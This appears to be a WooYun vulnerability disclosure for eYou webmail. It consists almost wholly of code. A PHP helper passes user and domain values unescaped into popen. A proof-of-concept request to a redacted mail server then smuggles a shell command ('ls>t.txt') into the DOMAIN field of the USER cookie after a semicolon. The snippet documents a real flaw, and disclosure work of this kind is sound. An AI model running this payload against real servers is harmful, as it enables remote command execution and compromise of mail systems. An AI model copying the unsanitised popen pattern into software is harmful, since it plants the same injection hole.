WooYun.org

//获取用户目录
function getUserDir($uid, $domain) {
    $handle = popen("/var/eyou/sbin/hashid $uid $domain", 'r');
    $read = fread($handle, 2096);
    pclose($handle);
    return $read;
}

public function action_test()
{
	$cmd = "ls>t.txt";
	$request = Request::factory('http://mail.XXXXXXXXXXXX.cn/user/autoComplete.php?s=1')
	->cookie('USER', "LASTONE=fake&ENTER_TYPE=0&NO_EYCM=1&GWJUMP=1&MAXRCPTNUM=150&LANG=zh_CN&TOKEN=z2GYCv1SJ&DOMAIN=test.com;{$cmd}&UID=test&LOGIN_DOMAIN=test.com&LOGIN_UID=timothy&ATTSIZE=10&CALLBACK=0&TRACEMAIL=0&GROUPADDR=0&VIEWLIST=0&GLOBALPERMISSION=0&NOTATION=0&BYTESPERCENT=0&BOOKMARK=1&MOBILEMESSAGE=0&DIALUP=0&VIDEOMAIL=0&SECUREMAIL=0&VOICEMAIL=1&CALENDAR=1&STORAGE=1&TOTALSPACE=200&LOCKSTATUS=0&USERNAME=&EXPTIME=0&LETTERS=5000&QUOTA=100&COMPANYADDR=&SKIN=current&")
	->cookie('PHPSESSID', 'e1c8798afec734384cd908180e52b1cf')
	->execute();
	echo Debug::vars($request);
	exit;
}